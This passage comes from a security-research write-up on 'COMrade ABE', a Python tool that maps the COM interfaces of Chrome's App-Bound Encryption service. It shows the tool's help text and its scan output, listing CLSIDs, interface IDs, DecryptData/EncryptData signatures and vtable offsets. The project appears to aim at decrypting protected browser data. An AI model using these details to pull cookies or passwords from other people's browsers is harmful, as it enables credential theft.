lists *all* methods. That `RunRecoveryCRXElevated` on `IElevator`? What are its exact parameters (COMrade ABE tells you!)? What could it do? Are there other, undocumented methods on these privileged interfaces? COMrade ABE is your starting point for such investigations. 312 | 5. **Sanity Checking and Validation:** If you *do* have source code (like parts of Chromium's IDL), you can use COMrade ABE to validate that the compiled binary on a user's system actually matches the IDL you expect. Discrepancies could indicate tampering or unexpected build variations. 313 | 314 | COMrade ABE isn't a magic bullet though – if a Type Library is missing or heavily obfuscated, its job gets much harder. But for the common case where browsers *do* ship this metadata with their service executables, it's an incredibly powerful ally. It automates the grunt work of COM interface discovery and mapping, letting you focus on the more interesting parts of understanding and interacting with App-Bound Encryption. So, next time you're gearing up to wrestle with ABE, make sure your COMrade is by your side. It makes the COM_plicated world a little less daunting. 315 | 316 | ## Appendix: Python Script - Regular Output 317 | 318 | ``` 319 | PS C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption> python .\comrade_abe.py 320 | 321 | ------------------------------------------------------------------------------------------- 322 | 323 | _________ ________ _____ .___ _____ _____________________ 324 | \_ ___ \ \_____ \ / \____________ __| _/____ / _ \\______ \_ _____/ 325 | / \ \/ / | \ / \ / \_ __ \__ \ / __ |/ __ \ / /_\ \| | _/| __)_ 326 | \ \____/ | \/ Y \ | \// __ \_/ /_/ \ ___/ / | \ | \| \ 327 | \______ /\_______ /\____|__ /__| (____ /\____ |\___ > \____|__ /______ /_______ / 328 | \/ \/ \/ \/ \/ \/ \/ \/ \/ 329 | 330 | by Alexander 'xaitax' Hagenah 331 | ------------------------------------------------------------------------------------------- 332 | 333 | usage: comrade_abe.py TARGET [options] 334 | 335 | COMrade ABE: Your friendly helper for discovering and detailing COM App-Bound Encryption (ABE) 336 | interfaces in Chromium-based browsers. It identifies service executables, CLSIDs, relevant IIDs, 337 | and generates C++ stubs for security research and development. 338 | 339 | positional arguments: 340 | TARGET Either the direct path to an executable (e.g., elevation_service.exe) 341 | OR a browser key ('chrome', 'edge', 'brave') when using --scan mode. 342 | 343 | options: 344 | -h, --help show this help message and exit 345 | -v, --verbose Enable detailed verbose output during the analysis process. 346 | --output-cpp-stub FILE_PATH 347 | If specified, C++ interface stubs for the 'primary' identified ABE interface 348 | will be written to this file. 349 | --target-method-names TARGET_METHOD_NAMES 350 | Comma-separated list of essential method names to identify a potential ABE interface 351 | (default: DecryptData,EncryptData). 352 | --decrypt-params COUNT 353 | Expected parameter count for the 'DecryptData' method (default: 3). 354 | --encrypt-params COUNT 355 | Expected parameter count for the 'EncryptData' method (default: 4). 356 | --known-clsid {CLSID-GUID} 357 | Manually provide a CLSID (e.g., {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}) to use. 358 | This can supplement or override discovery, especially useful when analyzing a 359 | direct executable path without --scan, or if registry scan fails. 360 | --scan Enable scan mode. In this mode, TARGET should be a browser key ('chrome', 'edge', 'brave'). 361 | The script will attempt to find the service executable and CLSID from the registry. 362 | 363 | Examples: 364 | Scan for Chrome ABE interface: 365 | comrade_abe.py chrome --scan 366 | 367 | Scan for Edge, verbose output, and save C++ stubs: 368 | comrade_abe.py edge --scan -v --output-cpp-stub edge_abe_stubs.cpp 369 | 370 | Analyze a specific executable directly: 371 | comrade_abe.py "C:\Program Files\Google\Chrome\Application\1xx.x.xxxx.xx\elevation_service.exe" 372 | 373 | Analyze executable with a known CLSID: 374 | comrade_abe.py "C:\path\to\service.exe" --known-clsid {YOUR-CLSID-HERE-IN-BRACES} 375 | ``` 376 | 377 | ## Appendix: Python Script - Regular Output 378 | 379 | ``` 380 | PS C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption> python .\comrade_abe.py chrome --scan 381 | 382 | ------------------------------------------------------------------------------------------- 383 | 384 | _________ ________ _____ .___ _____ _____________________ 385 | \_ ___ \ \_____ \ / \____________ __| _/____ / _ \\______ \_ _____/ 386 | / \ \/ / | \ / \ / \_ __ \__ \ / __ |/ __ \ / /_\ \| | _/| __)_ 387 | \ \____/ | \/ Y \ | \// __ \_/ /_/ \ ___/ / | \ | \| \ 388 | \______ /\_______ /\____|__ /__| (____ /\____ |\___ > \____|__ /______ /_______ / 389 | \/ \/ \/ \/ \/ \/ \/ \/ \/ 390 | 391 | by Alexander 'xaitax' Hagenah 392 | ------------------------------------------------------------------------------------------- 393 | 394 | ⚙️ COM ABE Interface Analyzer Initializing... 395 | ⚙️ Scan mode enabled for: chrome 396 | 🔍 Scanning registry for service details of 'chrome'... 397 | ℹ️ Service ImagePath: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 398 | ✅ Discovered CLSID: {708860E0-F641-4611-8895-7D867DD3675B} 399 | 🔍 Attempting to load type library from: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 400 | ✅ Successfully loaded type library: 'ElevatorLib' 401 | ⚙️ Analyzing all TKIND_INTERFACE entries from TypeLib... 402 | ℹ️ Debug: analyzer.results has 6 items before printing. 403 | 404 | --- 💡 Analysis Summary --- 405 | Browser Target : Chrome 406 | Service Executable: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 407 | Discovered CLSID : {708860E0-F641-4611-8895-7D867DD3675B} 408 | (C++ Style) : {0x708860E0,0xF641,0x4611,{0x88,0x95,0x7D,0x86,0x7D,0xD3,0x67,0x5B}} 409 | 410 | Found 6 ABE-Capable Interface(s): 411 | 412 | Candidate 1: 413 | Interface Name: IElevator 414 | IID : {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C} 415 | (C++ Style) : {0xA949CB4E,0xC4F9,0x44C4,{0xB2,0x13,0x6B,0xF8,0xAA,0x9A,0xC6,0x9C}} 416 | 417 | Candidate 2: 418 | Interface Name: IElevatorChromium 419 | IID : {B88C45B9-8825-4629-B83E-77CC67D9CEED} 420 | (C++ Style) : {0xB88C45B9,0x8825,0x4629,{0xB8,0x3E,0x77,0xCC,0x67,0xD9,0xCE,0xED}} 421 | 422 | Candidate 3: 💡 (Likely primary for tool) 423 | Interface Name: IElevatorChrome 424 | IID : {463ABECF-410D-407F-8AF5-0DF35A005CC8} 425 | (C++ Style) : {0x463ABECF,0x410D,0x407F,{0x8A,0xF5,0x0D,0xF3,0x5A,0x00,0x5C,0xC8}} 426 | 427 | Candidate 4: 428 | Interface Name: IElevatorChromeBeta 429 | IID : {A2721D66-376E-4D2F-9F0F-9070E9A42B5F} 430 | (C++ Style) : {0xA2721D66,0x376E,0x4D2F,{0x9F,0x0F,0x90,0x70,0xE9,0xA4,0x2B,0x5F}} 431 | 432 | Candidate 5: 433 | Interface Name: IElevatorChromeDev 434 | IID : {BB2AA26B-343A-4072-8B6F-80557B8CE571} 435 | (C++ Style) : {0xBB2AA26B,0x343A,0x4072,{0x8B,0x6F,0x80,0x55,0x7B,0x8C,0xE5,0x71}} 436 | 437 | Candidate 6: 438 | Interface Name: IElevatorChromeCanary 439 | IID : {4F7CE041-28E9-484F-9DD0-61A8CACEFEE4} 440 | (C++ Style) : {0x4F7CE041,0x28E9,0x484F,{0x9D,0xD0,0x61,0xA8,0xCA,0xCE,0xFE,0xE4}} 441 | 442 | ✅ Analysis complete. 443 | ``` 444 | 445 | ## Appendix: Python Script - Verbose Output 446 | 447 | ``` 448 | PS C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption> python .\comrade_abe.py chrome --scan --verbose 449 | 450 | ------------------------------------------------------------------------------------------- 451 | 452 | _________ ________ _____ .___ _____ _____________________ 453 | \_ ___ \ \_____ \ / \____________ __| _/____ / _ \\______ \_ _____/ 454 | / \ \/ / | \ / \ / \_ __ \__ \ / __ |/ __ \ / /_\ \| | _/| __)_ 455 | \ \____/ | \/ Y \ | \// __ \_/ /_/ \ ___/ / | \ | \| \ 456 | \______ /\_______ /\____|__ /__| (____ /\____ |\___ > \____|__ /______ /_______ / 457 | \/ \/ \/ \/ \/ \/ \/ \/ \/ 458 | 459 | by Alexander 'xaitax' Hagenah 460 | ------------------------------------------------------------------------------------------- 461 | 462 | ⚙️ COM ABE Interface Analyzer Initializing... 463 | ⚙️ Scan mode enabled for: chrome 464 | 🔍 Scanning registry for service details of 'chrome'... 465 | Targeting service name: 'GoogleChromeElevationService' 466 | ℹ️ Service ImagePath: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 467 | 🔍 Searching for CLSIDs linked to LocalService 'GoogleChromeElevationService'... 468 | ℹ️ Found matching CLSID '{708860E0-F641-4611-8895-7D867DD3675B}' via AppID 'SOFTWARE\Classes\AppID' 469 | ℹ️ Registry path not found: HKCU\SOFTWARE\WOW6432Node\Classes\AppID 470 | ✅ Discovered CLSID: {708860E0-F641-4611-8895-7D867DD3675B} 471 | 🔍 Attempting to load type library from: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 472 | ✅ Successfully loaded type library: 'ElevatorLib' 473 | ⚙️ Analyzing all TKIND_INTERFACE entries from TypeLib... 474 | Scanning Interface: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 475 | Tracing inheritance for 'IElevator' 476 | Processing interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}), cFuncs: 3 477 | Processing interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}), cFuncs: 3 478 | Performing signature check for 'EncryptData'... 479 | Expected param count: 4, Actual: 4 480 | Return type VT: 25 (HRESULT) 481 | Param 0: Type='ProtectionLevel', Raw VT=0x1D, Flags=0x1 (in) 482 | Param 1: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 483 | Param 2: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 484 | Param 3: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 485 | ✅ Signature check result for 'EncryptData': True 486 | 💡 'EncryptData' matched signature in 'IElevator'. 487 | Performing signature check for 'DecryptData'... 488 | Expected param count: 3, Actual: 3 489 | Return type VT: 25 (HRESULT) 490 | Param 0: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 491 | Param 1: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 492 | Param 2: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 493 | ✅ Signature check result for 'DecryptData': True 494 | 💡 'DecryptData' matched signature in 'IElevator'. 495 | ✅ Interface 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) IS ABE-capable. 496 | Scanning Interface: 'IElevatorChromium' (IID: {B88C45B9-8825-4629-B83E-77CC67D9CEED}) 497 | Tracing inheritance for 'IElevatorChromium' 498 | Processing interface in chain: 'IElevatorChromium' (IID: {B88C45B9-8825-4629-B83E-77CC67D9CEED}), cFuncs: 0 499 | Processing interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}), cFuncs: 3 500 | Processing interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}), cFuncs: 3 501 | Performing signature check for 'EncryptData'... 502 | Expected param count: 4, Actual: 4 503 | Return type VT: 25 (HRESULT) 504 | Param 0: Type='ProtectionLevel', Raw VT=0x1D, Flags=0x1 (in) 505 | Param 1: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 506 | Param 2: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 507 | Param 3: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 508 | ✅ Signature check result for 'EncryptData': True 509 | 💡 'EncryptData' matched signature in 'IElevator'. 510 | Performing signature check for 'DecryptData'... 511 | Expected param count: 3, Actual: 3 512 | Return type VT: 25 (HRESULT) 513 | Param 0: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 514 | Param 1: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 515 | Param 2: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 516 | ✅ Signature check result for 'DecryptData': True 517 | 💡 'DecryptData' matched signature in 'IElevator'. 518 | ✅ Interface 'IElevatorChromium' (IID: {B88C45B9-8825-4629-B83E-77CC67D9CEED}) IS ABE-capable. 519 | Scanning Interface: 'IElevatorChrome' (IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8}) 520 | Tracing inheritance for 'IElevatorChrome' 521 | Processing interface in chain: 'IElevatorChrome' (IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8}), cFuncs: 0 522 | Processing interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}), cFuncs: 3 523 | Processing interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}), cFuncs: 3 524 | Performing signature check for 'EncryptData'... 525 | Expected param count: 4, Actual: 4 526 | Return type VT: 25 (HRESULT) 527 | Param 0: Type='ProtectionLevel', Raw VT=0x1D, Flags=0x1 (in) 528 | Param 1: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 529 | Param 2: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 530 | Param 3: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 531 | ✅ Signature check result for 'EncryptData': True 532 | 💡 'EncryptData' matched signature in 'IElevator'. 533 | Performing signature check for 'DecryptData'... 534 | Expected param count: 3, Actual: 3 535 | Return type VT: 25 (HRESULT) 536 | Param 0: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 537 | Param 1: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 538 | Param 2: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 539 | ✅ Signature check result for 'DecryptData': True 540 | 💡 'DecryptData' matched signature in 'IElevator'. 541 | ✅ Interface 'IElevatorChrome' (IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8}) IS ABE-capable. 542 | Scanning Interface: 'IElevatorChromeBeta' (IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F}) 543 | Tracing inheritance for 'IElevatorChromeBeta' 544 | Processing interface in chain: 'IElevatorChromeBeta' (IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F}), cFuncs: 0 545 | Processing interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}), cFuncs: 3 546 | Processing interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}), cFuncs: 3 547 | Performing signature check for 'EncryptData'... 548 | Expected param count: 4, Actual: 4 549 | Return type VT: 25 (HRESULT) 550 | Param 0: Type='ProtectionLevel', Raw VT=0x1D, Flags=0x1 (in) 551 | Param 1: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 552 | Param 2: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 553 | Param 3: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 554 | ✅ Signature check result for 'EncryptData': True 555 | 💡 'EncryptData' matched signature in 'IElevator'. 556 | Performing signature check for 'DecryptData'... 557 | Expected param count: 3, Actual: 3 558 | Return type VT: 25 (HRESULT) 559 | Param 0: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 560 | Param 1: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 561 | Param 2: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 562 | ✅ Signature check result for 'DecryptData': True 563 | 💡 'DecryptData' matched signature in 'IElevator'. 564 | ✅ Interface 'IElevatorChromeBeta' (IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F}) IS ABE-capable. 565 | Scanning Interface: 'IElevatorChromeDev' (IID: {BB2AA26B-343A-4072-8B6F-80557B8CE571}) 566 | Tracing inheritance for 'IElevatorChromeDev' 567 | Processing interface in chain: 'IElevatorChromeDev' (IID: {BB2AA26B-343A-4072-8B6F-80557B8CE571}), cFuncs: 0 568 | Processing interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}), cFuncs: 3 569 | Processing interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}), cFuncs: 3 570 | Performing signature check for 'EncryptData'... 571 | Expected param count: 4, Actual: 4 572 | Return type VT: 25 (HRESULT) 573 | Param 0: Type='ProtectionLevel', Raw VT=0x1D, Flags=0x1 (in) 574 | Param 1: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 575 | Param 2: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 576 | Param 3: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 577 | ✅ Signature check result for 'EncryptData': True 578 | 💡 'EncryptData' matched signature in 'IElevator'. 579 | Performing signature check for 'DecryptData'... 580 | Expected param count: 3, Actual: 3 581 | Return type VT: 25 (HRESULT) 582 | Param 0: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 583 | Param 1: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 584 | Param 2: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 585 | ✅ Signature check result for 'DecryptData': True 586 | 💡 'DecryptData' matched signature in 'IElevator'. 587 | ✅ Interface 'IElevatorChromeDev' (IID: {BB2AA26B-343A-4072-8B6F-80557B8CE571}) IS ABE-capable. 588 | Scanning Interface: 'IElevatorChromeCanary' (IID: {4F7CE041-28E9-484F-9DD0-61A8CACEFEE4}) 589 | Tracing inheritance for 'IElevatorChromeCanary' 590 | Processing interface in chain: 'IElevatorChromeCanary' (IID: {4F7CE041-28E9-484F-9DD0-61A8CACEFEE4}), cFuncs: 0 591 | Processing interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}), cFuncs: 3 592 | Processing interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}), cFuncs: 3 593 | Performing signature check for 'EncryptData'... 594 | Expected param count: 4, Actual: 4 595 | Return type VT: 25 (HRESULT) 596 | Param 0: Type='ProtectionLevel', Raw VT=0x1D, Flags=0x1 (in) 597 | Param 1: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 598 | Param 2: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 599 | Param 3: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 600 | ✅ Signature check result for 'EncryptData': True 601 | 💡 'EncryptData' matched signature in 'IElevator'. 602 | Performing signature check for 'DecryptData'... 603 | Expected param count: 3, Actual: 3 604 | Return type VT: 25 (HRESULT) 605 | Param 0: Type='BSTR', Raw VT=0x8, Flags=0x1 (in) 606 | Param 1: Type='BSTR*', Raw VT=0x1A, Flags=0x2 (out) 607 | Param 2: Type='ULONG*', Raw VT=0x1A, Flags=0x2 (out) 608 | ✅ Signature check result for 'DecryptData': True 609 | 💡 'DecryptData' matched signature in 'IElevator'. 610 | ✅ Interface 'IElevatorChromeCanary' (IID: {4F7CE041-28E9-484F-9DD0-61A8CACEFEE4}) IS ABE-capable. 611 | ℹ️ Debug: analyzer.results has 6 items before printing. 612 | 613 | --- 💡 Analysis Summary --- 614 | Browser Target : Chrome 615 | Service Executable: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 616 | Discovered CLSID : {708860E0-F641-4611-8895-7D867DD3675B} 617 | (C++ Style) : {0x708860E0,0xF641,0x4611,{0x88,0x95,0x7D,0x86,0x7D,0xD3,0x67,0x5B}} 618 | 619 | Found 6 ABE-Capable Interface(s): 620 | 621 | Candidate 1: 622 | Interface Name: IElevator 623 | IID : {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C} 624 | (C++ Style) : {0xA949CB4E,0xC4F9,0x44C4,{0xB2,0x13,0x6B,0xF8,0xAA,0x9A,0xC6,0x9C}} 625 | 626 | Candidate 2: 627 | Interface Name: IElevatorChromium 628 | IID : {B88C45B9-8825-4629-B83E-77CC67D9CEED} 629 | (C++ Style) : {0xB88C45B9,0x8825,0x4629,{0xB8,0x3E,0x77,0xCC,0x67,0xD9,0xCE,0xED}} 630 | 631 | Candidate 3: 💡 (Likely primary for tool) 632 | Interface Name: IElevatorChrome 633 | IID : {463ABECF-410D-407F-8AF5-0DF35A005CC8} 634 | (C++ Style) : {0x463ABECF,0x410D,0x407F,{0x8A,0xF5,0x0D,0xF3,0x5A,0x00,0x5C,0xC8}} 635 | 636 | Candidate 4: 637 | Interface Name: IElevatorChromeBeta 638 | IID : {A2721D66-376E-4D2F-9F0F-9070E9A42B5F} 639 | (C++ Style) : {0xA2721D66,0x376E,0x4D2F,{0x9F,0x0F,0x90,0x70,0xE9,0xA4,0x2B,0x5F}} 640 | 641 | Candidate 5: 642 | Interface Name: IElevatorChromeDev 643 | IID : {BB2AA26B-343A-4072-8B6F-80557B8CE571} 644 | (C++ Style) : {0xBB2AA26B,0x343A,0x4072,{0x8B,0x6F,0x80,0x55,0x7B,0x8C,0xE5,0x71}} 645 | 646 | Candidate 6: 647 | Interface Name: IElevatorChromeCanary 648 | IID : {4F7CE041-28E9-484F-9DD0-61A8CACEFEE4} 649 | (C++ Style) : {0x4F7CE041,0x28E9,0x484F,{0x9D,0xD0,0x61,0xA8,0xCA,0xCE,0xFE,0xE4}} 650 | 651 | --- ℹ️ Verbose Candidate Details --- 652 | 653 | --- Verbose for Candidate 1: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) --- 654 | Methods (relevant to ABE): 655 | - Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 656 | - Method 'DecryptData': VTable Offset: 40 (Slot ~5), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 657 | Inheritance Chain: IUnknown -> IElevator 658 | Interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}) - Defines 3 method(s): 659 | (Standard IUnknown methods) 660 | - HRESULT QueryInterface(GUID* riid, void** ppvObj) (oVft: 0) 661 | - ULONG AddRef(void) (oVft: 8) 662 | - ULONG Release(void) (oVft: 16) 663 | Interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) - Defines 3 method(s): 664 | - HRESULT RunRecoveryCRXElevated(LPWSTR crx_path, LPWSTR browser_appid, LPWSTR browser_version, LPWSTR session_id, ULONG caller_proc_id, ULONG_PTR* proc_handle) (oVft: 24) 665 | - HRESULT EncryptData(ProtectionLevel protection_level, BSTR plaintext, BSTR* ciphertext, ULONG* last_error) (oVft: 32) 666 | - HRESULT DecryptData(BSTR ciphertext, BSTR* plaintext, ULONG* last_error) (oVft: 40) 667 | 668 | --- Verbose for Candidate 2: 'IElevatorChromium' (IID: {B88C45B9-8825-4629-B83E-77CC67D9CEED}) --- 669 | Methods (relevant to ABE): 670 | - Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 671 | - Method 'DecryptData': VTable Offset: 40 (Slot ~5), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 672 | Inheritance Chain: IUnknown -> IElevator -> IElevatorChromium 673 | Interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}) - Defines 3 method(s): 674 | (Standard IUnknown methods) 675 | - HRESULT QueryInterface(GUID* riid, void** ppvObj) (oVft: 0) 676 | - ULONG AddRef(void) (oVft: 8) 677 | - ULONG Release(void) (oVft: 16) 678 | Interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) - Defines 3 method(s): 679 | - HRESULT RunRecoveryCRXElevated(LPWSTR crx_path, LPWSTR browser_appid, LPWSTR browser_version, LPWSTR session_id, ULONG caller_proc_id, ULONG_PTR* proc_handle) (oVft: 24) 680 | - HRESULT EncryptData(ProtectionLevel protection_level, BSTR plaintext, BSTR* ciphertext, ULONG* last_error) (oVft: 32) 681 | - HRESULT DecryptData(BSTR ciphertext, BSTR* plaintext, ULONG* last_error) (oVft: 40) 682 | Interface in chain: 'IElevatorChromium' (IID: {B88C45B9-8825-4629-B83E-77CC67D9CEED}) - Defines 0 method(s): 683 | (No methods directly defined in this block for 'IElevatorChromium') 684 | 685 | --- Verbose for Candidate 3: 'IElevatorChrome' (IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8}) 💡 (Likely primary for tool) --- 686 | Methods (relevant to ABE): 687 | - Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 688 | - Method 'DecryptData': VTable Offset: 40 (Slot ~5), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 689 | Inheritance Chain: IUnknown -> IElevator -> IElevatorChrome 690 | Interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}) - Defines 3 method(s): 691 | (Standard IUnknown methods) 692 | - HRESULT QueryInterface(GUID* riid, void** ppvObj) (oVft: 0) 693 | - ULONG AddRef(void) (oVft: 8) 694 | - ULONG Release(void) (oVft: 16) 695 | Interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) - Defines 3 method(s): 696 | - HRESULT RunRecoveryCRXElevated(LPWSTR crx_path, LPWSTR browser_appid, LPWSTR browser_version, LPWSTR session_id, ULONG caller_proc_id, ULONG_PTR* proc_handle) (oVft: 24) 697 | - HRESULT EncryptData(ProtectionLevel protection_level, BSTR plaintext, BSTR* ciphertext, ULONG* last_error) (oVft: 32) 698 | - HRESULT DecryptData(BSTR ciphertext, BSTR* plaintext, ULONG* last_error) (oVft: 40) 699 | Interface in chain: 'IElevatorChrome' (IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8}) - Defines 0 method(s): 700 | (No methods directly defined in this block for 'IElevatorChrome') 701 | 702 | --- Verbose for Candidate 4: 'IElevatorChromeBeta' (IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F}) --- 703 | Methods (relevant to ABE): 704 | - Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 705 | - Method 'DecryptData': VTable Offset: 40 (Slot ~5), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 706 | Inheritance Chain: IUnknown -> IElevator -> IElevatorChromeBeta 707 | Interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}) - Defines 3 method(s): 708 | (Standard IUnknown methods) 709 | - HRESULT QueryInterface(GUID* riid, void** ppvObj) (oVft: 0) 710 | - ULONG AddRef(void) (oVft: 8) 711 | - ULONG Release(void) (oVft: 16) 712 | Interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) - Defines 3 method(s): 713 | - HRESULT RunRecoveryCRXElevated(LPWSTR crx_path, LPWSTR browser_appid, LPWSTR browser_version, LPWSTR session_id, ULONG caller_proc_id, ULONG_PTR* proc_handle) (oVft: 24) 714 | - HRESULT EncryptData(ProtectionLevel protection_level, BSTR plaintext, BSTR* ciphertext, ULONG* last_error) (oVft: 32) 715 | - HRESULT DecryptData(BSTR ciphertext, BSTR* plaintext, ULONG* last_error) (oVft: 40) 716 | Interface in chain: 'IElevatorChromeBeta' (IID: {A2721D66-376E-4D2F-9F0F-9070E9A42B5F}) - Defines 0 method(s): 717 | (No methods directly defined in this block for 'IElevatorChromeBeta') 718 | 719 | --- Verbose for Candidate 5: 'IElevatorChromeDev' (IID: {BB2AA26B-343A-4072-8B6F-80557B8CE571}) --- 720 | Methods (relevant to ABE): 721 | - Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 722 | - Method 'DecryptData': VTable Offset: 40 (Slot ~5), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 723 | Inheritance Chain: IUnknown -> IElevator -> IElevatorChromeDev 724 | Interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}) - Defines 3 method(s): 725 | (Standard IUnknown methods) 726 | - HRESULT QueryInterface(GUID* riid, void** ppvObj) (oVft: 0) 727 | - ULONG AddRef(void) (oVft: 8) 728 | - ULONG Release(void) (oVft: 16) 729 | Interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) - Defines 3 method(s): 730 | - HRESULT RunRecoveryCRXElevated(LPWSTR crx_path, LPWSTR browser_appid, LPWSTR browser_version, LPWSTR session_id, ULONG caller_proc_id, ULONG_PTR* proc_handle) (oVft: 24) 731 | - HRESULT EncryptData(ProtectionLevel protection_level, BSTR plaintext, BSTR* ciphertext, ULONG* last_error) (oVft: 32) 732 | - HRESULT DecryptData(BSTR ciphertext, BSTR* plaintext, ULONG* last_error) (oVft: 40) 733 | Interface in chain: 'IElevatorChromeDev' (IID: {BB2AA26B-343A-4072-8B6F-80557B8CE571}) - Defines 0 method(s): 734 | (No methods directly defined in this block for 'IElevatorChromeDev') 735 | 736 | --- Verbose for Candidate 6: 'IElevatorChromeCanary' (IID: {4F7CE041-28E9-484F-9DD0-61A8CACEFEE4}) --- 737 | Methods (relevant to ABE): 738 | - Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 739 | - Method 'DecryptData': VTable Offset: 40 (Slot ~5), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 740 | Inheritance Chain: IUnknown -> IElevator -> IElevatorChromeCanary 741 | Interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}) - Defines 3 method(s): 742 | (Standard IUnknown methods) 743 | - HRESULT 